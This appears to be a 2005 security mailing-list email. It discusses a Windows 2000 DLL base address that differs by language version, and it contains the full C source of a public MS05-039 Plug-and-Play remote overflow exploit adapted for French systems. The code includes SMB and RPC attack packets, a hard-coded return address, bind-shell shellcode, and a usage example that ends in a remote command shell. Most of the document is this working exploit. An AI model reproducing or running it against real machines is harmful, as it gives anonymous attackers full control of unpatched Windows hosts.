Hi Roman, I assure you that the address is also different for the French language. With the similar review with ollydbg, the base address for me is 0x76740000. I've attached the resulting exploit and Metasploit's module for french's system. Regards, -- Fabrice MOURRON ----- Consultant en sécurité des systèmes d'information fmourron@xxxxxxxxxxxx ------[ ExaProbe ]------ http://www.exaprobe.com/ PGP KeyID: 20D22266 FingerPrint: 767E CB52 94D3 7AEF DD21 BD2F 4D5C 6E6D 20D2 2266 Le jeudi 25 août 2005 à 18:36 +0200, Roman Medina-Heigl Hernandez a écrit : > -----BEGIN PGP SIGNED MESSAGE----- > Hash: SHA1 > > Hi, > > I tested existing exploits for PnP bug on my W2k SP4 machine (Spanish) > and they didn't work ("services" process is crashing but I got no > shell). So I did a quick review with Olly and I realized that > umpnpmgr.dll is being loaded at a different base address. In Spanish > systems this base address is 0x76770000 but current exploits are > assumming (I guess) 0x767a0000. Then I did a quick hack to HOD's exploit > and it worked perfectly. I also modified Metasploit's module and > included a target for Spanish systems. I've attached resulting exploits > (they are trivial, though). > > Is it usual that Windows DLLs have different base address across same > Windows/SP versions (but different languages)? > > > - -- > > Cheers, > - -Roman > > PGP Fingerprint: > 09BB EFCD 21ED 4E79 25FB 29E1 E47F 8A7D EAD5 6742 > [Key ID: 0xEAD56742. Available at KeyServ] > -----BEGIN PGP SIGNATURE----- > Version: GnuPG v1.4.0 (MingW32) > > iD8DBQFDDfOr5H+KferVZ0IRAiZKAKDJ0A1RT+iyFcJipN3k56YEmzctqACePS5e > aUJNlnMEsftew1Yn993iGJY= > =XE3r > -----END PGP SIGNATURE-----
Attachment:
ms05_039_pnp_french.pm
Description: Perl program
/* * HOD-ms05039-pnp-expl-french.c [25.Aug.2005] * Very slightly modified version by Fabrice MOURRON <fmourron@xxxxxxxxxxxx> * Tested on Win2k SP4 Frencg * Original credits & comments follow. */ /* HOD-ms05039-pnp-expl.c: 2005-08-10: PUBLIC v.0.2 * * Copyright (c) 2005 houseofdabus. * * (MS05-039) Microsoft Windows Plug-and-Play Service Remote Overflow * Universal Exploit + no crash shellcode * * * * * .::[ houseofdabus ]::. * * * * --------------------------------------------------------------------- * Description: * A remote code execution and local elevation of privilege * vulnerability exists in Plug and Play that could allow an * attacker who successfully exploited this vulnerability to take * complete control of the affected system. * * This is a remote code execution and local privilege elevation * vulnerability. On Windows 2000, an anonymous attacker could * remotely try to exploit this vulnerability. * * On Windows XP Service Pack 1, only an authenticated user could * remotely try to exploit this vulnerability. * On Window XP Service Pack 2 and Windows Server 2003, only an * administrator can remotely access the affected component. * Therefore, on Windows XP Service Pack 2 and Windows Server 2003, * this is strictly a local privilege elevation vulnerability. * An anonymous user cannot remotely attempt to exploit this * vulnerability on Windows XP Service Pack 2 and Windows * Server 2003. * * --------------------------------------------------------------------- * Solution: * http://www.microsoft.com/technet/security/Bulletin/MS05-039.mspx * * --------------------------------------------------------------------- * Systems Affected: * - Windows Server 2003, SP1 * - Windows XP SP1, SP2 * - Windows 2000 SP4 * * --------------------------------------------------------------------- * Tested on: * - Windows 2000 SP4 * * --------------------------------------------------------------------- * Compile: * * Win32/VC++ : cl -o HOD-ms05039-pnp-expl HOD-ms05039-pnp-expl.c * Win32/cygwin: gcc -o HOD-ms05039-pnp-expl HOD-ms05039-pnp-expl.c * Linux : gcc -o HOD-ms05039-pnp-expl HOD-ms05039-pnp-expl.c * * --------------------------------------------------------------------- * Example: * * C:\>HOD-ms05039-pnp-expl 192.168.0.1 7777 * * [*] connecting to 192.168.0.22:445...ok * [*] null session...ok * [*] bind pipe...ok * [*] sending crafted packet...ok * [*] check your shell on 192.168.0.1:7777 * Ctrl+C * * C:\>nc 192.168.0.1 7777 * * Microsoft Windows 2000 [Version 5.00.2195] * (C) Copyright 1985-2000 Microsoft Corp. * * C:\WINNT\system32> * * --------------------------------------------------------------------- * * This is provided as proof-of-concept code only for educational * purposes and testing by authorized individuals with permission * to do so. * */ /* #define _WIN32 */ #include <stdio.h> #include <stdlib.h> #include <string.h> #ifdef _WIN32 #include <winsock2.h> #pragma comment(lib, "ws2_32") #else #include <sys/types.h> #include <netinet/in.h> #include <sys/socket.h> #include <netdb.h> #endif unsigned char SMB_Negotiate[] = "\x00\x00\x00\x85\xFF\x53\x4D\x42\x72\x00\x00\x00\x00\x18\x53\xC8" "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xFF\xFE" "\x00\x00\x00\x00\x00\x62\x00\x02\x50\x43\x20\x4E\x45\x54\x57\x4F" "\x52\x4B\x20\x50\x52\x4F\x47\x52\x41\x4D\x20\x31\x2E\x30\x00\x02" "\x4C\x41\x4E\x4D\x41\x4E\x31\x2E\x30\x00\x02\x57\x69\x6E\x64\x6F" "\x77\x73\x20\x66\x6F\x72\x20\x57\x6F\x72\x6B\x67\x72\x6F\x75\x70" "\x73\x20\x33\x2E\x31\x61\x00\x02\x4C\x4D\x31\x2E\x32\x58\x30\x30" "\x32\x00\x02\x4C\x41\x4E\x4D\x41\x4E\x32\x2E\x31\x00\x02\x4E\x54" "\x20\x4C\x4D\x20\x30\x2E\x31\x32\x00"; unsigned char SMB_SessionSetupAndX[] = "\x00\x00\x00\xA4\xFF\x53\x4D\x42\x73\x00\x00\x00\x00\x18\x07\xC8" "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xFF\xFE" "\x00\x00\x10\x00\x0C\xFF\x00\xA4\x00\x04\x11\x0A\x00\x00\x00\x00" "\x00\x00\x00\x20\x00\x00\x00\x00\x00\xD4\x00\x00\x80\x69\x00\x4E" "\x54\x4C\x4D\x53\x53\x50\x00\x01\x00\x00\x00\x97\x82\x08\xE0\x00" "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" "\x57\x00\x69\x00\x6E\x00\x64\x00\x6F\x00\x77\x00\x73\x00\x20\x00" "\x32\x00\x30\x00\x30\x00\x30\x00\x20\x00\x32\x00\x31\x00\x39\x00" "\x35\x00\x00\x00\x57\x00\x69\x00\x6E\x00\x64\x00\x6F\x00\x77\x00" "\x73\x00\x20\x00\x32\x00\x30\x00\x30\x00\x30\x00\x20\x00\x35\x00" "\x2E\x00\x30\x00\x00\x00\x00\x00"; unsigned char SMB_SessionSetupAndX2[] = "\x00\x00\x00\xDA\xFF\x53\x4D\x42\x73\x00\x00\x00\x00\x18\x07\xC8" "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xFF\xFE" "\x00\x08\x20\x00\x0C\xFF\x00\xDA\x00\x04\x11\x0A\x00\x00\x00\x00" "\x00\x00\x00\x57\x00\x00\x00\x00\x00\xD4\x00\x00\x80\x9F\x00\x4E" "\x54\x4C\x4D\x53\x53\x50\x00\x03\x00\x00\x00\x01\x00\x01\x00\x46" "\x00\x00\x00\x00\x00\x00\x00\x47\x00\x00\x00\x00\x00\x00\x00\x40" "\x00\x00\x00\x00\x00\x00\x00\x40\x00\x00\x00\x06\x00\x06\x00\x40" "\x00\x00\x00\x10\x00\x10\x00\x47\x00\x00\x00\x15\x8A\x88\xE0\x48" "\x00\x4F\x00\x44\x00\x00\xED\x41\x2C\x27\x86\x26\xD2\x59\xA0\xB3" "\x5E\xAA\x00\x88\x6F\xC5\x57\x00\x69\x00\x6E\x00\x64\x00\x6F\x00" "\x77\x00\x73\x00\x20\x00\x32\x00\x30\x00\x30\x00\x30\x00\x20\x00" "\x32\x00\x31\x00\x39\x00\x35\x00\x00\x00\x57\x00\x69\x00\x6E\x00" "\x64\x00\x6F\x00\x77\x00\x73\x00\x20\x00\x32\x00\x30\x00\x30\x00" "\x30\x00\x20\x00\x35\x00\x2E\x00\x30\x00\x00\x00\x00\x00"; unsigned char SMB_TreeConnectAndX[] = "\x00\x00\x00\x5A\xFF\x53\x4D\x42\x75\x00\x00\x00\x00\x18\x07\xC8" "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xFF\xFE" "\x00\x08\x30\x00\x04\xFF\x00\x5A\x00\x08\x00\x01\x00\x2F\x00\x00"; unsigned char SMB_TreeConnectAndX_[] = "\x00\x00\x3F\x3F\x3F\x3F\x3F\x00"; /* browser */ unsigned char SMB_PipeRequest_browser[] = "\x00\x00\x00\x66\xFF\x53\x4D\x42\xA2\x00\x00\x00\x00\x18\x07\xC8" "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x08\x78\x04" "\x00\x08\x40\x00\x18\xFF\x00\xDE\xDE\x00\x10\x00\x16\x00\x00\x00" "\x00\x00\x00\x00\x9F\x01\x02\x00\x00\x00\x00\x00\x00\x00\x00\x00" "\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x40\x00\x00\x00" "\x02\x00\x00\x00\x03\x13\x00\x00\x5C\x00\x62\x00\x72\x00\x6F\x00" "\x77\x00\x73\x00\x65\x00\x72\x00\x00\x00"; unsigned char SMB_PNPEndpoint[] = /* 8d9f4e40-a03d-11ce-8f69-08003e30051b v1.0: pnp */ "\x00\x00\x00\x9C\xFF\x53\x4D\x42\x25\x00\x00\x00\x00\x18\x07\xC8" "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x08\x78\x04" "\x00\x08\x50\x00\x10\x00\x00\x48\x00\x00\x00\x00\x10\x00\x00\x00" "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x54\x00\x48\x00\x54\x00\x02" "\x00\x26\x00\x00\x40\x59\x00\x00\x5C\x00\x50\x00\x49\x00\x50\x00" "\x45\x00\x5C\x00\x00\x00\x40\x00\x05\x00\x0B\x03\x10\x00\x00\x00" "\x48\x00\x00\x00\x01\x00\x00\x00\xB8\x10\xB8\x10\x00\x00\x00\x00" "\x01\x00\x00\x00\x00\x00\x01\x00\x40\x4E\x9F\x8D\x3D\xA0\xCE\x11" "\x8F\x69\x08\x00\x3E\x30\x05\x1B\x01\x00\x00\x00\x04\x5D\x88\x8A" "\xEB\x1C\xC9\x11\x9F\xE8\x08\x00\x2B\x10\x48\x60\x02\x00\x00\x00"; unsigned char RPC_call[] = "\x00\x00\x08\x90\xFF\x53\x4D\x42\x25\x00\x00\x00\x00\x18\x07\xC8" "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x08\x78\x04" "\x00\x08\x60\x00\x10\x00\x00\x3C\x08\x00\x00\x00\x01\x00\x00\x00" "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x54\x00\x3C\x08\x54\x00\x02" "\x00\x26\x00\x00\x40\x4D\x08\x00\x5C\x00\x50\x00\x49\x00\x50\x00" "\x45\x00\x5C\x00\x00\x00\x40\x00\x05\x00\x00\x03\x10\x00\x00\x00" "\x3C\x08\x00\x00\x01\x00\x00\x00\x24\x08\x00\x00\x00\x00\x36\x00" "\x11\x00\x00\x00\x00\x00\x00\x00\x11\x00\x00\x00\x52\x00\x4F\x00" "\x4F\x00\x54\x00\x5C\x00\x53\x00\x59\x00\x53\x00\x54\x00\x45\x00" "\x4D\x00\x5C\x00\x30\x00\x30\x00\x30\x00\x30\x00\x00\x00\x00\x00" "\xFF\xFF\x00\x00\xE0\x07\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" "\xC0\x07\x00\x00\x00\x00\x00\x00\x90\x90\x90\x90\x90\x90\x90\x90" "\xEB\x08\x90\x90\x67\x15\x77\x76\xEB\x08\x90\x90\x67\x15\x77\x76" "\xEB\x08\x90\x90\x67\x15\x77\x76\xEB\x08\x90\x90\x67\x15\x77\x76" "\xEB\x08\x90\x90\x67\x15\x77\x76\xEB\x08\x90\x90\x67\x15\x77\x76" "\xEB\x08\x90\x90\x67\x15\x77\x76\xEB\x08\x90\x90\x67\x15\x77\x76" /* jmp over - entry point */ "\xEB\x08\x90\x90" /* pop reg; pop reg; retn; - umpnpmgr.dll for french*/ "\x67\x15\x74\x76" /* 0x76741567 */ /* jmp ebx - umpnpmgr.dll (BROKEN) "\x6f\x36\x77\x76" */ "\xEB\x08\x90\x90\x67\x15\x77\x76" "\x90\x90\x90\x90\x90\x90\x90\xEB\x08\x90\x90\x48\x4F\x44\x88\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"; unsigned char RPC_call_end[] = "\xE0\x07\x00\x00\x04\x00\x00\x00\x00\x00\x00\x00"; unsigned char bind_shellcode[] = "\x29\xc9\x83\xe9\xb0\xd9\xee\xd9\x74\x24\xf4\x5b\x81\x73\x13\x19" "\xf5\x04\x37\x83\xeb\xfc\xe2\xf4\xe5\x9f\xef\x7a\xf1\x0c\xfb\xc8" "\xe6\x95\x8f\x5b\x3d\xd1\x8f\x72\x25\x7e\x78\x32\x61\xf4\xeb\xbc" "\x56\xed\x8f\x68\x39\xf4\xef\x7e\x92\xc1\x8f\x36\xf7\xc4\xc4\xae" "\xb5\x71\xc4\x43\x1e\x34\xce\x3a\x18\x37\xef\xc3\x22\xa1\x20\x1f" "\x6c\x10\x8f\x68\x3d\xf4\xef\x51\x92\xf9\x4f\xbc\x46\xe9\x05\xdc" "\x1a\xd9\x8f\xbe\x75\xd1\x18\x56\xda\xc4\xdf\x53\x92\xb6\x34\xbc" "\x59\xf9\x8f\x47\x05\x58\x8f\x77\x11\xab\x6c\xb9\x57\xfb\xe8\x67" "\xe6\x23\x62\x64\x7f\x9d\x37\x05\x71\x82\x77\x05\x46\xa1\xfb\xe7" "\x71\x3e\xe9\xcb\x22\xa5\xfb\xe1\x46\x7c\xe1\x51\x98\x18\x0c\x35" "\x4c\x9f\x06\xc8\xc9\x9d\xdd\x3e\xec\x58\x53\xc8\xcf\xa6\x57\x64" "\x4a\xa6\x47\x64\x5a\xa6\xfb\xe7\x7f\x9d\x1a\x55\x7f\xa6\x8d\xd6" "\x8c\x9d\xa0\x2d\x69\x32\x53\xc8\xcf\x9f\x14\x66\x4c\x0a\xd4\x5f" "\xbd\x58\x2a\xde\x4e\x0a\xd2\x64\x4c\x0a\xd4\x5f\xfc\xbc\x82\x7e" "\x4e\x0a\xd2\x67\x4d\xa1\x51\xc8\xc9\x66\x6c\xd0\x60\x33\x7d\x60" "\xe6\x23\x51\xc8\xc9\x93\x6e\x53\x7f\x9d\x67\x5a\x90\x10\x6e\x67" "\x40\xdc\xc8\xbe\xfe\x9f\x40\xbe\xfb\xc4\xc4\xc4\xb3\x0b\x46\x1a" "\xe7\xb7\x28\xa4\x94\x8f\x3c\x9c\xb2\x5e\x6c\x45\xe7\x46\x12\xc8" "\x6c\xb1\xfb\xe1\x42\xa2\x56\x66\x48\xa4\x6e\x36\x48\xa4\x51\x66" "\xe6\x25\x6c\x9a\xc0\xf0\xca\x64\xe6\x23\x6e\xc8\xe6\xc2\xfb\xe7" "\x92\xa2\xf8\xb4\xdd\x91\xfb\xe1\x4b\x0a\xd4\x5f\xf6\x3b\xe4\x57" "\x4a\x0a\xd2\xc8\xc9\xf5\x04\x37"; #define SET_PORTBIND_PORT(buf, port) \ *(unsigned short *)(((buf)+186)) = (port) void convert_name(char *out, char *name) { unsigned long len; len = strlen(name); out += len * 2 - 1; while (len--) { *out-- = '\x00'; *out-- = name[len]; } } int main (int argc, char **argv) { struct sockaddr_in addr; struct hostent *he; int len; int sockfd; unsigned short smblen; unsigned short bindport; unsigned char tmp[1024]; unsigned char packet[4096]; unsigned char *ptr; char recvbuf[4096]; #ifdef _WIN32 WSADATA wsa; WSAStartup(MAKEWORD(2,0), &wsa); #endif printf("\n (MS05-039) Microsoft Windows Plug-and-Play Service Remote Overflow\n"); printf("\t Universal Exploit + no crash shellcode\n\n"); printf("\t [French hack by ExaProbe :-)]\n\n\n"); printf("\t Copyright (c) 2005 .: houseofdabus :.\n\n\n"); if (argc < 3) { printf("%s <host> <bind port>\n", argv[0]); exit(0); } if ((he = gethostbyname(argv[1])) == NULL) { printf("[-] Unable to resolve %s\n", argv[1]); exit(0); } if ((sockfd = socket(AF_INET, SOCK_STREAM, 0)) < 0) { printf("[-] socket failed\n"); exit(0); } addr.sin_family = AF_INET; addr.sin_port = htons(445); addr.sin_addr = *((struct in_addr *)he->h_addr); memset(&(addr.sin_zero), '\0', 8); printf("\n[*] connecting to %s:445...", argv[1]); if (connect(sockfd, (struct sockaddr *)&addr, sizeof(struct sockaddr)) < 0) { printf("\n[-] connect failed\n"); exit(0); } printf("ok\n"); printf("[*] null session..."); if (send(sockfd, SMB_Negotiate, sizeof(SMB_Negotiate)-1, 0) < 0) { printf("\n[-] send failed\n"); exit(0); } len = recv(sockfd, recvbuf, 4096, 0); if ((len <= 10) || (recvbuf[9] != 0)) { printf("\n[-] failed\n"); exit(0); } if (send(sockfd, SMB_SessionSetupAndX, sizeof(SMB_SessionSetupAndX)-1, 0) < 0) { printf("\n[-] send failed\n"); exit(0); } len = recv(sockfd, recvbuf, 4096, 0); if (len <= 10) { printf("\n[-] failed\n"); exit(0); } if (send(sockfd, SMB_SessionSetupAndX2, sizeof(SMB_SessionSetupAndX2)-1, 0) < 0) { printf("\n[-] send failed\n"); exit(0); } len = recv(sockfd, recvbuf, 4096, 0); if ((len <= 10) || (recvbuf[9] != 0)) { printf("\n[-] failed\n"); exit(0); } ptr = packet; memcpy(ptr, SMB_TreeConnectAndX, sizeof(SMB_TreeConnectAndX)-1); ptr += sizeof(SMB_TreeConnectAndX)-1; sprintf(tmp, "\\\\%s\\IPC$", argv[1]); convert_name(ptr, tmp); smblen = strlen(tmp)*2; ptr += smblen; smblen += 9; memcpy(packet + sizeof(SMB_TreeConnectAndX)-1-3, &smblen, 1); memcpy(ptr, SMB_TreeConnectAndX_, sizeof(SMB_TreeConnectAndX_)-1); ptr += sizeof(SMB_TreeConnectAndX_)-1; smblen = ptr-packet; smblen -= 4; memcpy(packet+3, &smblen, 1); if (send(sockfd, packet, ptr-packet, 0) < 0) { printf("\n[-] send failed\n"); exit(0); } len = recv(sockfd, recvbuf, 4096, 0); if ((len <= 10) || (recvbuf[9] != 0)) { printf("\n[-] failed\n"); exit(0); } printf("ok\n"); printf("[*] bind pipe..."); if (send(sockfd, SMB_PipeRequest_browser, sizeof(SMB_PipeRequest_browser)-1, 0) < 0) { printf("\n[-] send failed\n"); exit(0); } len = recv(sockfd, recvbuf, 4096, 0); if ((len <= 10) || (recvbuf[9] != 0)) { printf("\n[-] failed\n"); exit(0); } if (send(sockfd, SMB_PNPEndpoint, sizeof(SMB_PNPEndpoint)-1, 0) < 0) { printf("\n[-] send failed\n"); exit(0); } len = recv(sockfd, recvbuf, 4096, 0); if ((len <= 10) || (recvbuf[9] != 0)) { printf("\n[-] failed\n"); exit(0); } printf("ok\n"); printf("[*] sending crafted packet..."); // nop ptr = packet; memset(packet, '\x90', sizeof(packet)); // header & offsets memcpy(ptr, RPC_call, sizeof(RPC_call)-1); ptr += sizeof(RPC_call)-1; // shellcode bindport = (unsigned short)atoi(argv[2]); bindport ^= 0x0437; SET_PORTBIND_PORT(bind_shellcode, htons(bindport)); memcpy(ptr, bind_shellcode, sizeof(bind_shellcode)-1); // end of packet memcpy( packet + 2196 - sizeof(RPC_call_end)-1 + 2, RPC_call_end, sizeof(RPC_call_end)-1); // sending... if (send(sockfd, packet, 2196, 0) < 0) { printf("\n[-] send failed\n"); exit(0); } printf("ok\n"); printf("[*] check your shell on %s:%i\n", argv[1], atoi(argv[2])); recv(sockfd, recvbuf, 4096, 0); return 0; }
